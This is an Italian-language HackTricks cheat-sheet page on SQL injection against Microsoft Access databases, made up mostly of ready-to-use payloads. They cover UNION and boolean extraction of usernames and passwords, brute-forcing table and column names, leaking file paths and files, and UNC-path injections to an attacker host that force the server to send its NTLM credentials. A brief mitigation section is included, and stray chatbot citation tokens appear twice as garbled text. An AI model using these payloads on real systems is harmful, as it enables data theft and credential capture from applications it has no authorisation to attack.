MS Access SQL Injection
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Online Playground
Limitazioni del DB
Concatenazione di Stringhe
La concatenazione di stringhe è possibile con i caratteri & (%26)
e + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Commenti
Non ci sono commenti in MS Access, ma apparentemente è possibile rimuovere l'ultimo di una query con un carattere NULL:
1' union select 1,2 from table%00
Se questo non funziona, puoi sempre correggere la sintassi della query:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Non sono supportate.
LIMIT
L'operatore LIMIT
non è implementato. Tuttavia, è possibile limitare i risultati delle query SELECT alle prime N righe della tabella utilizzando l'operatore TOP
. TOP
accetta come argomento un intero, che rappresenta il numero di righe da restituire.
1' UNION SELECT TOP 3 attr FROM table%00
Proprio come TOP, puoi usare LAST
che otterrĂ le righe dalla fine.
Query UNION/Sottoquery
In una SQLi di solito vorrai in qualche modo eseguire una nuova query per estrarre informazioni da altre tabelle. MS Access richiede sempre che in sottoquery o query extra sia indicato un FROM
.
Quindi, se vuoi eseguire un UNION SELECT
o UNION ALL SELECT
o un SELECT
tra parentesi in una condizione, devi sempre indicare un FROM
con un nome di tabella valido.
Pertanto, devi conoscere un nome di tabella valido.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Questo ti permetterĂ di esfiltrare i valori della tabella corrente senza dover conoscere il nome della tabella.
MS Access consente una sintassi strana come '1'=2='3'='asd'=false
. Come di consueto, l'iniezione SQL sarĂ all'interno di una clausola WHERE
e possiamo abusarne.
Immagina di avere una SQLi in un database MS Access e sai (o hai indovinato) che un nome di colonna è username, e questo è il campo che vuoi esfiltrare. Potresti controllare le diverse risposte dell'app web quando viene utilizzata la tecnica di chaining equals e potenzialmente esfiltrare contenuti con un iniezione booleana utilizzando la funzione Mid
per ottenere sottostringhe.
'=(Mid(username,1,3)='adm')='
Se conosci il nome della tabella e della colonna da estrarre, puoi utilizzare una combinazione tra Mid
, LAST
e TOP
per leakare tutte le informazioni tramite SQLi booleano:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Feel free to check this in the online playground.
Forzatura dei nomi delle tabelle
Utilizzando la tecnica del chaining equals puoi anche forzare i nomi delle tabelle con qualcosa come:
'=(select+top+1+'lala'+from+<table_name>)='
Puoi anche utilizzare un modo piĂš tradizionale:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap nomi di tabelle comuni: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- C'è un'altra lista in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Nomi delle colonne
Puoi forzare i nomi delle colonne correnti con il trucco della concatenazione uguale con:
'=column_name='
O con un group by:
-1' GROUP BY column_name%00
Oppure puoi forzare i nomi delle colonne di una tabella diversa con:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumping data
Abbiamo giĂ discusso della tecnica del chaining equals per estrarre dati dalle tabelle attuali e da altre tabelle. Ma ci sono altri modi:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In sintesi, la query utilizza un'istruzione "if-then" per attivare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'uso successivo di LAST consente di considerare solo la 10ª tupla. Su tale valore, utilizzando l'operatore MID, è possibile eseguire un semplice confronto di caratteri. Cambiando correttamente l'indice di MID e TOP, possiamo estrarre il contenuto del campo "username" per tutte le righe.
Trucchi Basati sul Tempo (Blind)
Jet/ACE SQL stesso non espone una funzione nativa SLEEP()
o WAITFOR
, quindi le iniezioni blind basate sul tempo sono limitate. Tuttavia, è ancora possibile introdurre un ritardo misurabile costringendo il motore ad accedere a una risorsa di rete che è lenta o non risponde. PoichÊ il motore cercherà di aprire il file prima di restituire il risultato, il tempo di risposta HTTP riflette la latenza di andata e ritorno verso l'host controllato dall'attaccante.
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
Punta il percorso UNC a:
- una condivisione SMB dietro un collegamento ad alta latenza
- un host che interrompe il handshake TCP dopo
SYN-ACK
- un sinkhole del firewall
I secondi extra introdotti dalla ricerca remota possono essere utilizzati come un oracolo di temporizzazione out-of-band per condizioni booleane (ad esempio, scegliere un percorso lento solo quando il predicato iniettato è vero). Microsoft documenta il comportamento del database remoto e l'associato kill-switch nel registro in KB5002984. îciteîturn1search0î
Altre funzioni interessanti
Mid('admin',1,1)
ottiene la sottostringa dalla posizione 1 lunghezza 1 (la posizione iniziale è 1)LEN('1234')
ottiene la lunghezza della stringaASC('A')
ottiene il valore ascii del carattereCHR(65)
ottiene la stringa dal valore asciiIIF(1=1,'a','b')
se alloraCOUNT(*)
Conta il numero di elementi
Enumerare le tabelle
Da qui puoi vedere una query per ottenere i nomi delle tabelle:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Tuttavia, nota che è molto tipico trovare SQL Injection dove non hai accesso per leggere la tabella MSysObjects
.
Accesso al FileSystem
Percorso Assoluto della Directory Radice Web
La conoscenza del percorso assoluto della radice web può facilitare ulteriori attacchi. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente.
http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access risponde con un messaggio di errore contenente il percorso completo della directory web.
Enumerazione dei File
Il seguente vettore d'attacco può essere utilizzato per inferire l'esistenza di un file nel filesystem remoto. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database è invalido:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Un altro modo per enumerare i file consiste nel specificare un elemento database.table. Se il file specificato esiste, MS Access visualizza un messaggio di errore sul formato del database.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Indovinare il Nome del File .mdb
Il nome del file del database (.mdb) può essere inferito con la seguente query:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Dove name[i] è un nome di file .mdb e realTable è una tabella esistente all'interno del database. Anche se MS Access genererà sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
Accesso Remoto al Database e Furto di Credenziali NTLM (2023)
Dal Jet 4.0 ogni query può fare riferimento a una tabella situata in un file .mdb/.accdb
diverso tramite la clausola IN '<path>'
:
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
Se l'input dell'utente è concatenato nella parte dopo IN (o in una chiamata JOIN ⌠IN
/ OPENROWSET
/ OPENDATASOURCE
), un attaccante può specificare un percorso UNC che punta a un host che controlla. Il motore:
- tenterĂ di autenticarsi tramite SMB / HTTP per aprire il database remoto;
- esporrĂ le credenziali NTLM del server web (autenticazione forzata);
- analizzerĂ il file remoto â un database malformato o malevolo può attivare bug di corruzione della memoria Jet/ACE che sono stati corretti piĂš volte (ad es. CVE-2021-28455).
Esempio pratico di iniezione:
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
Impatto:
- Esfiltrazione out-of-band di hash Net-NTLMv2 (utilizzabili per relay o cracking offline).
- Potenziale esecuzione remota di codice se viene sfruttato un nuovo bug del parser Jet/ACE.
Mitigazioni (raccomandate anche per le app Classic ASP legacy):
- Aggiungere il valore di registro
AllowQueryRemoteTables = 0
sottoHKLM\Software\Microsoft\Jet\4.0\Engines
(e sotto il percorso ACE equivalente). Questo costringe Jet/ACE a rifiutare i percorsi remoti che iniziano con\\
. - Bloccare SMB/WebDAV in uscita al confine di rete.
- Sanitizzare / parametrizzare qualsiasi parte di una query che potrebbe finire all'interno di una clausola
IN
.
Il vettore di autenticazione forzata è stato riesaminato da Check Point Research nel 2023, dimostrando che è ancora sfruttabile su Windows Server completamente aggiornato quando la chiave di registro è assente. îciteîturn0search0î
.mdb Password Cracker
Access PassView è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
Riferimenti
- http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
- Microsoft KB5002984 â Configurare Jet/ACE per bloccare le tabelle remote
- Check Point Research â Abusare delle tabelle collegate di Microsoft Access per l'autenticazione forzata NTLM (2023)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.